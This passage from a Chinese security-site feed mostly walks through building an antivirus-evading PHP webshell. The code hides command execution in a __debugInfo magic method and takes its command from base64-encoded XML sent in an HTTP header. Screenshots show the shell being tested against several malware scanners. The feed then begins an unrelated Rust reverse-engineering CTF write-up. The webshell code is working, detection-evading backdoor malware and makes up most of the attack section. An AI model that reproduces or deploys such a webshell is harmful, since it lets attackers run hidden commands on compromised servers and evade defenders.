<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;?</span><span class="cm-variable">php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">class</span> <span class="cm-def">C</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$prop</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__construct</span>(<span class="cm-variable-2">$val</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">prop</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$val</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__debugInfo</span>() {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">return</span> [</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;propSquared&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">prop</span> <span class="cm-operator">**</span> <span class="cm-number">2</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;];</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">var_dump</span>(<span class="cm-keyword">new</span> <span class="cm-variable">C</span>(<span class="cm-number">42</span>));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">?&gt;</span></span></pre>
<p>我们按着改造一下</p>
<p>读懂了原理后我们尝试看看能不能执行命令</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;?</span><span class="cm-variable">php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">class</span> <span class="cm-def">C</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$prop</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__construct</span>(<span class="cm-variable-2">$val</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">prop</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$val</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__debugInfo</span>() {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">return</span> [</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;propSquared&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">prop</span> <span class="cm-operator">**</span> <span class="cm-number">2</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;];</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">system</span>(<span class="cm-string">&quot;calc&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">var_dump</span>(<span class="cm-keyword">new</span> <span class="cm-variable">C</span>(<span class="cm-number">42</span>));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">?&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p>但是并没有计算器弹出来，原来忘了 php 一个最基础的语法，return 后代码就不会执行了</p>
<p>但是尝试了还是不行，最后问 GPT 写了个例子看看环境是不是有问题</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;?</span><span class="cm-variable">php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">class</span> <span class="cm-def">User</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$username</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$password</span>; <span class="cm-comment">// 敏感信息，不想输出</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__construct</span>(<span class="cm-variable-2">$username</span>, <span class="cm-variable-2">$password</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">username</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$username</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">password</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$password</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__debugInfo</span>() {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">return</span> [</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;username&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">username</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;info&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-string">&#39;这是调试时返回的信息&#39;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;timestamp&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-builtin">time</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;];</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-2">$user</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">User</span>(<span class="cm-string">&#39;alice&#39;</span>, <span class="cm-string">&#39;secret123&#39;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">var_dump</span>(<span class="cm-variable-2">$user</span>); <span class="cm-comment">// 触发 __debugInfo()</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p>输出应该是</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">object</span>(<span class="cm-variable">User</span>)<span class="cm-comment">#1 (3) {</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;[<span class="cm-string">&quot;username&quot;</span>]<span class="cm-operator">=&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-variable">string</span>(<span class="cm-number">5</span>) <span class="cm-string">&quot;alice&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;[<span class="cm-string">&quot;info&quot;</span>]<span class="cm-operator">=&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-variable">string</span>(<span class="cm-number">33</span>) <span class="cm-string">&quot;这是调试时返回的信息&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;[<span class="cm-string">&quot;timestamp&quot;</span>]<span class="cm-operator">=&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-variable">int</span>(<span class="cm-number">1725092384</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span></pre>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/244a43b8-4d05-4383-8593-e17f034e9762.png" width="720" height="779.1428571428571"/></p>
<p>然后搜了很多，发现如果可能我们的 xdebug 配置会影响我们的这个输出，所以找了没有配置 xdebug 的</p>
<p>再次执行</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c91498c4-b71a-4fa9-b252-501d269d5772.png" width="720" height="793.9285714285714"/></p>
<p>可以看到已经有信息了</p>
<p>所以尝试执行命令</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/4ea99418-684b-412d-b355-49bee8b5f198.png" width="720" height="434.57142857142856"/></p>
<p>成功执行了命令</p>
<p>然后开始构造免杀 webshell</p>
<p>利用 SimpleXMLElement 解析 xml 文件来传入参数</p>
<p><br/></p>
<h2>终</h2>
<p>最后搞出来的代码如下</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;?</span><span class="cm-variable">php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">class</span> <span class="cm-def">User</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$username</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$password</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__construct</span>(<span class="cm-variable-2">$username</span>, <span class="cm-variable-2">$password</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">username</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$username</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">password</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$password</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__debugInfo</span>() {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$xmlData</span> <span class="cm-operator">=</span> <span class="cm-builtin">base64_decode</span>(<span class="cm-builtin">end</span>(<span class="cm-builtin">getallheaders</span>()));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$xmlElement</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">SimpleXMLElement</span>(<span class="cm-variable-2">$xmlData</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$namespaces</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-variable">getNamespaces</span>(<span class="cm-atom">TRUE</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-builtin">rewind</span>();</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">var_dump</span>(<span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-builtin">key</span>());</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$result</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-variable">xpath</span>(<span class="cm-string">&#39;/books/system&#39;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">var_dump</span> ((<span class="cm-variable-2">$result</span>[<span class="cm-number">0</span>]<span class="cm-operator">-&gt;</span><span class="cm-variable">__toString</span>()));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;(<span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-builtin">key</span>())(<span class="cm-variable-2">$result</span>[<span class="cm-number">0</span>]<span class="cm-operator">-&gt;</span><span class="cm-variable">__toString</span>());</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">return</span> [</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;username&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">username</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;info&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-string">&#39;这是调试时返回的信息&#39;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;timestamp&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-builtin">time</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;];</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-2">$user</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">User</span>(<span class="cm-string">&#39;alice&#39;</span>, <span class="cm-string">&#39;secret123&#39;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">var_dump</span>(<span class="cm-variable-2">$user</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p>这里因为我懒得搭建调试环境了，我们把 header 传入的值直接设置为</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-variable">books</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-builtin">system</span><span class="cm-operator">&gt;</span><span class="cm-variable">calc</span><span class="cm-operator">&lt;/</span><span class="cm-builtin">system</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;/</span><span class="cm-variable">books</span><span class="cm-operator">&gt;</span></span></pre>
<p>然后需要 base64 编码</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;?</span><span class="cm-variable">php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">class</span> <span class="cm-def">User</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$username</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable-2">$password</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__construct</span>(<span class="cm-variable-2">$username</span>, <span class="cm-variable-2">$password</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">username</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$username</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">password</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$password</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__debugInfo</span>() {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$xmlData</span> <span class="cm-operator">=</span> <span class="cm-builtin">base64_decode</span>(<span class="cm-string">&quot;PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$xmlElement</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">SimpleXMLElement</span>(<span class="cm-variable-2">$xmlData</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$namespaces</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-variable">getNamespaces</span>(<span class="cm-atom">TRUE</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-builtin">rewind</span>();</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">var_dump</span>(<span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-builtin">key</span>());</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable-2">$result</span> <span class="cm-operator">=</span> <span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-variable">xpath</span>(<span class="cm-string">&#39;/books/system&#39;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">var_dump</span> ((<span class="cm-variable-2">$result</span>[<span class="cm-number">0</span>]<span class="cm-operator">-&gt;</span><span class="cm-variable">__toString</span>()));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; (<span class="cm-variable-2">$xmlElement</span><span class="cm-operator">-&gt;</span><span class="cm-builtin">key</span>())(<span class="cm-variable-2">$result</span>[<span class="cm-number">0</span>]<span class="cm-operator">-&gt;</span><span class="cm-variable">__toString</span>());</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">return</span> [</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;username&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-variable-2">$this</span><span class="cm-operator">-&gt;</span><span class="cm-variable">username</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;info&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-string">&#39;这是调试时返回的信息&#39;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-string">&#39;timestamp&#39;</span> <span class="cm-operator">=&gt;</span> <span class="cm-builtin">time</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;];</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-2">$user</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">User</span>(<span class="cm-string">&#39;alice&#39;</span>, <span class="cm-string">&#39;secret123&#39;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">var_dump</span>(<span class="cm-variable-2">$user</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/2edb6064-2cd1-4cc2-a025-b5fa2108288b.png" width="720" height="847.5376884422111"/></p>
<p>成功弹出计算器</p>
<p>这里我为了方便直接把从 header 头传入值修改为直接写入了</p>
<p>首先实例化我们的 user 类</p>
<p>然后</p>
<pre>var_dump($user);</pre>
<p>在这个过程中，会触发__debugInfo</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f128887f-264b-4095-a819-9ac7a4c2d933.png" width="720" height="476.7828418230563"/></p>
<p>然后在这个过程中会解析 xml 数据</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/55e33be6-a73a-4af3-a619-b7dcba8a69ef.png"/></p>
<p>通过 SimpleXMLElement 的方法去截取我们需要的字符串，从而来构造一个命令执行</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/ced35647-c185-42b3-be57-3a0b6938acdc.png" width="720" height="547.3569482288829"/></p>
<p>最后构造出我们的 webshell</p>
<h2>长亭</h2>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/7308a2ed-6776-42a8-bd53-f6a096c77a31.png" width="720" height="415.92857142857144"/></p>
<h2>微步</h2>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/31ed5e58-3bea-4473-936d-ce55cfd51cca.png" width="720" height="298.92857142857144"/></p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/7aeb9137-de17-4e34-89e3-0afd594a92bf.png" width="720" height="445.5"/></p>
<h2>VIRUSTOTAL</h2>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b5fc163f-e7a7-495e-955c-232bf750ca64.png" width="720" height="565.0720461095101"/></p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/5e54ae58-65a2-4f71-99db-5eb61b292b6f.png" width="720" height="983.4527687296417"/></p>
<p>&nbsp;&nbsp;</p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/206392.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ApoorvCTF Rust语言逆向实战</title>
		<link>https://www.secpulse.com/archives/205975.html</link>
		<comments>https://www.secpulse.com/archives/205975.html#comments</comments>
		<pubDate>Wed, 26 Mar 2025 10:34:41 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[CTF]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205975</guid>
		<description><![CDATA[<p>上周参加了国外的比赛，名称叫：ApoorvCTF</p>
<p>看一下老外的比赛跟我们有什么不同，然后我根据国内比赛对比发现，他们考点还是很有意思的，反正都是逆向，哈哈哈</p>
<h2>Rusty Vault</h2>
<p>题目描述：</p>
<p>In the heart of an abandoned shrine, there&#39;s an old, rusted vault saidto guard an unspeakable secret. Many have tried to unlock it, but thedoor&#39;s demands are strange and no key seems to fit.</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655535.png" width="720" height="175.76017130620986"/></p>
<p>进入main函数，开始分析</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655536.png" width="720" height="423.61350099272005"/></p>
<p>这个命名方式，大概率是Rust语言</p>
<p>对于rust语言逆向，一般采用动态调试分析的方法</p>
<p>主要还是看汇编，因为F5根本看不出来啥东西。。。</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655537.png" width="720" height="364.61083743842363"/></p>
<p>从if比较处，可以看到成功和失败两个结果</p>
<p>那么这个比较绝对很关键</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655538.png" width="720" height="331.48891235480465"/></p>
<p>进入后发现，啥也没啊？</p>
<p>坏了，得看汇编，为代码估计又出问题了</p>
